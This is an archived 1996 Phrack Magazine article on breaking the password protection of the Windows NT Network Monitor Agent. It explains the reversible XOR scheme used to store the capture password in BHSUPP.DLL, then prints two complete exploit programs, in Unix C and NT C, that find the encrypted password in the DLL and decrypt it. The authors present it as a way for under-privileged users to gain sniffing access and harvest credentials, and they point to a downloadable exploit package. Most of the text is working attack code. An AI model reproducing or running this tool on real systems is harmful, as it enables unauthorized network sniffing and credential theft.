home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p48_15.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  20.5 KB  |  636 lines

  1.                              ==Phrack Magazine==
  2.  
  3.              Volume Seven, Issue Forty-Eight, File 15 of 18
  4.  
  5.  
  6.         Windows NT Network Monitor Exploitation
  7.  
  8.                  NetMon Encryption Hammer
  9.             
  10.                      by the AON and Route 
  11.                for Phrack Magazine
  12.              May 1996 Guild productions, kid
  13.  
  14.              comments to daemon9@netcom.com
  15.  
  16.        Full exploit including binary dll's and execuatables:
  17.     ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz 
  18.  
  19.  
  20.     [The intro]
  21.  
  22.     The Microsoft Network Monitor is a packet sniffer that runs under NT.  
  23. It is a very robust and versatile packet sniffer, offering much more then
  24. simple ethernet frame capturing.  It packs a robust capture/display filter
  25. language, powerful protocol parsers, and one snappy GUI.  NetMon is 
  26. delivered as part of the SMS package.  The user portion of the program 
  27. calls upon the services of the Network Monitor Agent, which is a kernel driver
  28. that ships with NT (3.5.x for sure, but I don't know about 3.1).  The Network 
  29. Monitor Agent also provides an interface for a remote machine to connect and 
  30. capture local data, provided it passes authentication. To restrict access, 
  31. Network Monitor Agent utilizes a password authentication scheme.  Access has 
  32. two tiers: priviledge to view previously captured sessions, and priviledge to 
  33. actually use the sniffer to place the ethernet card in promiscuous mode.  The 
  34. acutal encrypted password is stored as a 32-byte binary string in a 
  35. dynamically linked library file called BHSUPP.DLL.  We have written code to 
  36. extract this password from the dll and decyrpt it; we have broken the 
  37. Microsoft Network Monitor password authentication system.
  38.  
  39.  
  40.     [The low-down]
  41.  
  42.     The encrypted string is kept as binary data in: 
  43. %SystemRoot%\system32\BHSUPP.DLL (in a default installation at least). 
  44. BHSUPP.DLL is known to be different sizes between versions, so we cannot look 
  45. for the encrypted string at a specific offset each time.  Instead we must 
  46. search for a flag, and seek 32-bytes past this flag.  The flag is the 16-byte
  47. string: "RTSS&G--BEGIN--".  (As a matter of note, there is a terminating 
  48. footer also: "RTSS&G--END--".)
  49.  
  50.  
  51.     [The encrypted truth]
  52.  
  53.     It is a simple encryption function, that takes random length string 
  54. and returns 256-bit encrypted output.  It may appear to be a hash, rather 
  55. than a block cipher, but it is not.  It does take a random length input,
  56. and produce a fixed output, but the input is always padded to 32-bytes
  57. (with nulls if necessary).  The input to the function is a user defined
  58. arbitrary string.  The input is truncated to 16 bytes and then to pad 
  59. out the array, the whole original password string is concatenated  on the 
  60. truncated version, starting at the 16th byte.  It doesn't matter if the
  61. resulting string is longer than 32 bytes, as the cipher ignores anything
  62. past the 32nd byte.  So: "loveKillsTheDemon" becomes: "loveKillsTheDemo" 
  63. and then: "loveKillsTheDemoloveKillsTheDemon".  If your password is  
  64. smaller than 16  bytes, we get the 'hole-in-password' phenomena.  Since 
  65. the array is intialized will nulls, and the password is still folded over to 
  66. the 16th byte, these nulls remain.  This is easily visible from the first line
  67. of output in our exploit code.  It also accepts empty password strings 
  68. readily, without choking, which all Microsoft products seem willing to do all 
  69. to easily.
  70.  
  71.     [The algorithm]
  72.  
  73.     The 32-byte string is put through 32 rounds of identical operations.
  74. The outer for loop controls the value of the byte to be XORed with the
  75. entire array that round (except for itself, see below).  The inner loop steps
  76. through the entire byte array.  Each byte is permuted a total of 31 times 
  77. (The discrepency comes from the test case where i must not be equal to j in 
  78. order for a character to be permuted.  It would make no sense to XOR a byte 
  79. with itself).  So, there are a total of 992 operations.  The actual 
  80. encryption algorithm is quite simple:
  81.  
  82. In C:            if(i!=j)mix[j]^=mix[i]+(i^j)+j;
  83.  
  84. In English:        if i is NOT equal to j, the j indexed char of mix is 
  85.             assigned the value of the j indexed char of mix XORed 
  86.             with the i indexed char of mix PLUS i XORed with j 
  87.             PLUS j.
  88.  
  89. Mathematically:        1) i ^ j = k
  90.             2) k + j = l
  91.             3) l + mix[i] = m
  92.             4) m ^ mix[j] = x
  93.  
  94.             OR
  95.  
  96.             ((i ^ j) + j + mix[i]) ^ mix[j] = x 
  97.  
  98.  
  99.     The methods used for obscurity are exclusive OR (XOR) and binary 
  100. addition, (see the appendix if you are umfamiliar with these bitwise 
  101. operations) with completely known vectors.  The only unknown in the whole 
  102. equation is the user entered password, fleshed out to 32-bytes.  These 32
  103. bytes are taken through 32 rounds of permutations.  Simple and concise, 
  104. with no key material dropped, this algorithm is not lossy.  Since it is not 
  105. lossy it is 100% reversible, both in theory and practice.  In fact, since we 
  106. know the values of the counters i and j, throughout the entire encryption 
  107. process, decryption is simply a matter of reproducing these values in the 
  108. proper order.  Since the output of the encryption process is the input, 
  109. taken through 32 rounds of identical permutations, with known vectors, 
  110. we simply need to reverse this process.
  111.  
  112.     [The code]
  113.  
  114.     There are two versions of the exploit available.  A Windows NT version
  115. and, for those of you without access to an expensive NT-native compiler, 
  116. there is a Unix version as well.  The NT version is a console-based app, as
  117. GUI code would be a waste of time.  The full package of this exploit, along
  118. with an NT exexcutable and sample DLL's is available from:
  119.     ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz 
  120.  
  121.  
  122.     [The discussion]
  123.  
  124.     The ramifications of this weak encryption in Network Monitor Agent are 
  125. many.  First off, the developers of Network Monitor Agent *didn't* use the 
  126. standard security mechanisms of Windows NT.  This may be because the driver is
  127. a kernel mode driver, and in NT the kernel is a trusted enity, therefore 
  128. the standard security API (of Win32) does not apply in the kernel making it 
  129. harder to do user authentication.  It also appears that they were trying to 
  130. achieve a mechanism based not on priviledge, but on knowledge.  It is very 
  131. likely that in secured environment not all administrators should be able to 
  132. sniff the network.  The problem is they did a *poor* job of securing a 
  133. powerful utility.
  134.     The most straight forward attack is use Network Monitor to sniff the 
  135. network (where you weren't suppose to be able to) for priviledged user data or
  136. passwords in a heterogeneous environment (since native NT networking does not 
  137. send password information in the clear, but standard TCP traffic from Unix
  138. is sent clear).  The rest of the attacks would come from shabby administration
  139. , such as the administrator used the password for the admin account and the 
  140. capture password in Network Monitor Agent (stupid, but likely) or the 
  141. same password for Network Monitor Agent on all machines across the network.
  142.     In order to use the exploit utility, one must have read priviledge for 
  143. BHSUPP.DLL which is installed into %SystemRoot%\system32 by default.  This 
  144. is not a remote attack, but rather a stepping stone to gain priviledged 
  145. information when one is under-priviledged.
  146.  
  147.     [The moral]
  148.  
  149.     Time and time again we see either shody implementations of trusted
  150. algorithms, or, like in this case, just plain bad cryptography.  Under ITAR,
  151. most secure cryptographic algorithms are classified as munitions, and are not
  152. exportable from this country.  The funny thing is, under current law, one-way
  153. hashing functions are *not* restricted (that is why all Unix variants can ship
  154. with the standard crypt(3) libraries and executables).  This authentication
  155. scheme could have *easily* been replaced by MD5, the same one-way hash used
  156. by PGP.  At least then, the complexity of an attack would be increased to
  157. a brute-force known-plaintext sweep of key values...
  158.  
  159.  
  160.  
  161.     [The appendix]
  162.  
  163.     For the binary-declined...
  164.  
  165. Exclusive OR
  166.  
  167. The XOR operation is a bitwise operation with the following truth table:
  168.  
  169.     XOR| 1 | 0 |        The Exclusive OR operation simply says:
  170.     -------------        "...Hmmm, if I have a 1 and a 0, I'll spit
  171.     1  | 0 | 1 |         out a 1.  Anything else, a 0..."
  172.     -------------
  173.     0  | 1 | 0 |
  174.  
  175.  
  176. Binary addition
  177.  
  178. Binary addition is analogous to base10 addition.  However, each place holds
  179. 2^n instead of 10^n...
  180.  
  181.     add| 1 | 0 |         base10:        base2:
  182.     -------------            11            1011
  183.     1  |1 0| 1 |            + 5          + 0101
  184.     -------------              ---          ------
  185.     0  | 1 | 0 |                16         10000
  186.  
  187.  
  188.  
  189.  
  190. This exploit made possbile by a grant from the Guild corporation.
  191.  
  192. - May 07, 1996 route/aon
  193.  
  194.  
  195.     [The Sourcecode]
  196.     [Unix Version]
  197.  
  198. /*
  199.  
  200. Network Monitor Exploitation code, Unix version
  201. coded by daemon9
  202. The Guild, 1996
  203.  
  204. */
  205.  
  206.  
  207. #include<string.h>
  208. #include<stdio.h>
  209. #include<fcntl.h>
  210.  
  211. #define fbufsize     8192
  212. #define flag         "RTSS&G--BEGIN--"
  213. #define VERSION        "Unix version\n"
  214. #define BUFSIZE     48
  215. #define DLLNAME     "./BHSUPP.DLL"
  216.  
  217. int main()
  218. {
  219.     char *swirl(char *,int);
  220.     char *recover(char *);
  221.     void hexonx(char *);
  222.  
  223.     char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"};
  224.     char *plain,*tmp,*fname,*encrypted;
  225.     int c;
  226.  
  227.     printf(werd);
  228.     printf("\nNetMon Password Decryption Engine ");
  229.     printf(VERSION);
  230.     printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n");
  231.     printf("\t2.\t\tDecrypt a plaintext password from the dll.\n");
  232.     tmp=(char *)malloc(10);     /* Can't switch getchar() as it locks the */
  233.     bzero(tmp,10);             /* fucking stream and makes futher I/O buggy*/
  234.     switch(atoi(gets(tmp))){
  235.         case 1:
  236.             printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n->");
  237.             plain=(char *)malloc(BUFSIZE);
  238.             bzero(plain,sizeof(BUFSIZE)); 
  239.             gets(plain); 
  240.             hexonx(swirl(plain,0));
  241.             break;
  242.         case 2:
  243.             printf("Enter name and path of DLL [./BHSUPP.DLL]:");
  244.             fname=(char *)malloc(BUFSIZE);
  245.             bzero(fname,sizeof(BUFSIZE));
  246.             gets(fname);
  247.             if(fname[0]==0)strcpy(fname,DLLNAME);
  248.             if(!(encrypted=recover(fname))){
  249.                 printf("Could not locate flag\n");
  250.                 exit(1);
  251.             }
  252.             hexonx(swirl(encrypted,1));            
  253.             break;
  254.         default:
  255.             printf("\nFine.\n");
  256.             exit(0);
  257.     }
  258.     return 0;    
  259. }
  260.  
  261. /*
  262. swirl is the encryption/decryption function.  It takes an arbitrary length
  263. string and, depending on the value of the mode variable, encrypts it or
  264. decrypts it.  It returns a pointer to the string.
  265. */
  266.  
  267. char *swirl(byteStr,mode)
  268. char *byteStr;
  269. int mode;
  270. {
  271.     int i=0,j=0;
  272.     char *mix,roundAndround[32][32];
  273.     void hexonx(char *);
  274.  
  275.     mix=(char *)malloc(sizeof(byteStr));
  276.  
  277.  
  278.     if(!mode){
  279.         memset(mix,0,32);            /* set 32 bytes of memory to 0 */
  280.         strncpy(mix,byteStr,16);              /* copy the first 16 bytes of the password into the mix*/
  281.         memcpy(&mix[16],byteStr,strlen(byteStr));   /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */
  282.  
  283.         printf("Password upon entering encryption rounds:\n");
  284.         hexonx(mix);
  285.         printf("\n\nbeginning 32 rounds of 'encryption'\n");
  286.         for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){
  287.             mix[j]^=mix[i]+(i^j)+j;            /* Sekret Enkripsion occurs here... */
  288.             memcpy(&roundAndround[i][0],mix,32);    /* save a copy of each round */
  289.                           }
  290.         printf("\nDo you wish to view the encryption process round by round?[y]");
  291.         switch(toupper(getchar())){
  292.             case 'N':
  293.                 break;
  294.             case 'Y':
  295.             default:
  296.             for(i=0;i<32;i++){
  297.                 printf("round %d:\n",i+1);         /* print the rounds out in hex */
  298.                 hexonx(&roundAndround[i][0]);
  299.                 getc(stdin);
  300.             }
  301.         }
  302.         printf("\nEncrypted output:\n");
  303.         return(mix);
  304.     }
  305.     if(mode){
  306.         strncpy(mix,byteStr,32);
  307.         for(i=31;i>=0;i--)for(j=31;j>=0;j--)if(i!=j)mix[j]^=mix[i]+(i^j)+j;
  308.         mix[32]=0;        
  309.         printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix);
  310.         return(mix);
  311.     }
  312. }
  313.  
  314. /* 
  315. hexonx simply prints out 32 bytes of hexidecimal characters.
  316. */
  317.  
  318. void hexonx(byteStr)
  319. char *byteStr;
  320. {
  321.     int i=0;
  322.     for(;i<32;i++)printf("0x%x ",byteStr[i]);
  323.     printf("\n");
  324. }
  325.  
  326.  
  327. /*
  328. recover attempts to read the encrypted string from the dll 
  329. */
  330.  
  331. char *recover(fname)
  332. char *fname;
  333. {
  334.  
  335.     char buffer[fbufsize],*pass;
  336.     int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;
  337.  
  338.     if((fd=open(fname,O_RDONLY))<=0){
  339.         fprintf(stderr,"Cannot open %s\n",fname);
  340.         exit(1);
  341.     }
  342.     while(read(fd,buffer,8192)){
  343.         i=0;
  344.         while(i<fbufsize&&!demonFlag){
  345.                 switch(buffer[i-4]){
  346.                     case 'R':
  347.                         if(buffer[i-3]=='T'&&buffer[i-2]=='S'&&buffer[i-1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='-'&&buffer[i+3]=='-'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='-'&&buffer[i+10]=='-'){
  348.                             demonFlag++;
  349.                             bufOffset=i;
  350.     /* Password is 32 bytes past end of header */    offset=j-4;
  351.                             printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset);
  352.                             printf("Encrypted password should be located at offset 0x%x\n",offset+48);
  353.                         }
  354.                         break;
  355.                     default:
  356.                 }
  357.         i++;
  358.         j++;
  359.         }        
  360.     if(demonFlag)break;
  361.     }
  362.     if(!offset)return(0);
  363.     pass=(char *)malloc(BUFSIZE);
  364.     bzero(pass,32);
  365.     memcpy(pass,&buffer[bufOffset-4+48],32);
  366.     
  367.     printf("\nDo you wish to view the encrypted password?[y]");
  368.         switch(toupper(getchar())){
  369.             case 'N':
  370.                 break;
  371.             case 'Y':
  372.             default:
  373.                 hexonx(pass);
  374.                 getc(stdin);
  375.         }
  376.     return(pass);
  377. }
  378.  
  379.  
  380.     [The Sourcecode]
  381.     [NT Version]
  382.  
  383.  
  384.  
  385. //    A Guild Production  1996  //
  386. //    Constructed by AON  //
  387.  
  388. #define STRICT
  389. #define MAX_FILE_SIZE 24576                        //if BHSUPP.DLL grows, so must this
  390.             
  391. #include <windows.h>
  392. #include <stdio.h>
  393.  
  394. void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword);
  395. BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword);
  396. void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);
  397.  
  398. HANDLE g_hStdIn, g_hStdOut;                        //global declaration of StandardIN and OUT
  399.  
  400.  
  401. //    This is a console app.  ReadFile and WriteFile used throughout so StdIN and StdOUT
  402. //  can be redirected.
  403.  
  404. void main(int argc, char* argv[])            
  405. {
  406.     HANDLE hTargetFile;                        
  407.     BYTE lpEncryptedPassword[32];        
  408.     char lpszPlaintextPassword[17] = {0};
  409.     char lpszOutputBuffer[80];
  410.     char lpszTargetFile[MAX_PATH] = {0};
  411.     char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n";
  412.     LPTSTR lpszSystemDirectory = NULL;
  413.     UINT nCount, nCount2;
  414.     
  415.     //set global handles
  416.     
  417.     g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);    
  418.     g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
  419.  
  420.     //check for standard NT help switch
  421.     
  422.     if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')
  423.     {
  424.         //display usage info
  425.         
  426.         WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);
  427.             
  428.         //exit with success
  429.         
  430.         ExitProcess(0L);
  431.     }
  432.     
  433.     //if path and file name not specified on commandline try system directory first, because
  434.     //BHSUPP.DLL is probably there
  435.     if(argc == 1)
  436.     {
  437.         //findout how long path is for mem alloc
  438.         nCount = GetSystemDirectory(lpszSystemDirectory, 0);    
  439.                                                             
  440.         //do alloc of that size
  441.         lpszSystemDirectory = malloc(nCount);        
  442.     
  443.         if(lpszSystemDirectory == NULL)
  444.         {
  445.             WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n", 
  446.                       41, &nCount, NULL);
  447.  
  448.             ExitProcess(1L);
  449.         }
  450.  
  451.         //get system dir
  452.         GetSystemDirectory(lpszSystemDirectory, nCount);        
  453.     
  454.         //append file name to system directory
  455.         sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);
  456.         
  457.         //release memory
  458.         free(lpszSystemDirectory);
  459.     }
  460.     
  461.     else
  462.     {
  463.         //get the commandline input
  464.         strcpy(lpszTargetFile, argv[1]);
  465.     }
  466.  
  467.     //try to open BHSUPP.DLL in the system dir or where the user instructed
  468.     hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | 
  469.                              FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 
  470.                              FILE_FLAG_SEQUENTIAL_SCAN, NULL);
  471.  
  472.     //if not on the commandline or in the system dir ask user for path
  473.     if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)
  474.     {
  475.         GetTargetFileFromUser(&hTargetFile, lpszTargetFile);
  476.     }
  477.     
  478.     //user gave bad path or they don't have read permission on the file
  479.     else if(hTargetFile == INVALID_HANDLE_VALUE)
  480.     {
  481.         //make error string because file open failed
  482.         nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);
  483.  
  484.         //write out
  485.         WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
  486.     
  487.         //exit with failure
  488.         ExitProcess(1L);
  489.     }
  490.  
  491.     //retrieve the encrypted password from BHSUPP.DLL
  492.     if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))
  493.     {
  494.         WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n",
  495.                   39, &nCount, NULL);
  496.  
  497.         ExitProcess(1L);
  498.     }
  499.  
  500.     //cleanup handle
  501.     CloseHandle(hTargetFile);
  502.  
  503.     //do the decryption here
  504.     DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);
  505.  
  506.     //prepare for and print out results
  507.     nCount2 = sprintf(lpszOutputBuffer, 
  508.                       "\nThe Network Monitor Agent capture password is %s\n",
  509.                       lpszPlaintextPassword);
  510.  
  511.     WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
  512.  
  513.     //close StandardIN and StandardOUT handles
  514.     CloseHandle(g_hStdIn);
  515.  
  516.     CloseHandle(g_hStdOut);
  517.  
  518.     //exit with success
  519.     ExitProcess(0L);
  520. }
  521.  
  522.  
  523. //Ah yeah, here it is.
  524. void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword)
  525. {
  526.     register int outer, inner;
  527.  
  528.     //go backwards through loops to undo XOR
  529.     for ( outer = 31; outer >= 0; outer-- )
  530.     {
  531.         for ( inner = 31; inner >= 0; inner-- )
  532.         {
  533.             if ( outer != inner )
  534.             {
  535.                 lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] + 
  536.                                               (outer ^ inner) + inner;
  537.             }
  538.         }
  539.     }
  540.  
  541.     //since the original password was folded to fill 32 bytes only copy the first 16 bytes
  542.     memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);
  543.  
  544.     //zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)
  545.     lpszPlaintextPassword[16] = 0L;
  546.  
  547.     return;
  548. }
  549.  
  550.  
  551. //    get the path and file name for BHSUPP.DLL from the user in the case that it was
  552. //  a custom install
  553. void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile)
  554. {
  555.     char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: ";
  556.     UINT nCount;
  557.  
  558.     WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);
  559.  
  560.     ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);
  561.  
  562.     //I had to account for the CR + LF that ReadFile counts in the nCount return value,
  563.     //so I can zero terminate this string.
  564.     lpszTargetFile[nCount - 2] = 0L;
  565.     
  566.     *phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | 
  567.                              FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 
  568.                              FILE_FLAG_SEQUENTIAL_SCAN, NULL);
  569.  
  570.     //too lazy to make the error message report the actual path and file name tried 
  571.     if(*phTargetFile == INVALID_HANDLE_VALUE)
  572.     {
  573.         WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",
  574.                   26, &nCount, NULL);
  575.  
  576.         ExitProcess(1L);
  577.     }
  578. }
  579.  
  580.  
  581. //    This function allocs one big buffer and reads the whole damn DLL into it.
  582. //    There is a flag string that marks the start of the section that contains the 
  583. //    encrypted passwords (in the case that there is a display password too), so
  584. //    we search for the first and last characters in the string.  If we hit on a match
  585. //    we check about 50% of the chars in the string for a match.  This is a good
  586. //    enough check based looking at the data.  I guess I could optimize memory usage 
  587. //  here too, but 24K is not very much these days, so fuck it.
  588. BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword)                   
  589. {
  590.     LPBYTE lpSearchBuffer;
  591.     UINT nCount, i;
  592.  
  593.     //do the big buffer alloc
  594.     lpSearchBuffer = malloc(MAX_FILE_SIZE);
  595.  
  596.     if(lpSearchBuffer == NULL)
  597.     {
  598.         WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n", 
  599.                   41, &nCount, NULL);
  600.  
  601.         ExitProcess(1L);
  602.     }
  603.  
  604.     //read in the entire file.  It is small enough that this takes trivial time to complete.
  605.     ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);
  606.  
  607.     //do search for RTSS&G--BEGIN--  When it is found move 48 bytes past the R and copy
  608.     //the encrypted password into the workspace
  609.     for(i=0; i<nCount; i++)
  610.     {
  611.         if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '-')
  612.         {
  613.             if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' &&
  614.                lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' &&
  615.                lpSearchBuffer[i+8] == 'B')
  616.             {
  617.                 //found password and coping it into the workspace
  618.                 memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);
  619.                 
  620.                 //cleanup the mem alloc
  621.                 free(lpSearchBuffer);
  622.  
  623.                 //return with success
  624.                 return TRUE;
  625.             }
  626.         }
  627.     }
  628.  
  629.     //cleanup
  630.     free(lpSearchBuffer);
  631.     
  632.     //it failed to find the marker string
  633.     return FALSE;
  634. }
  635.  
  636.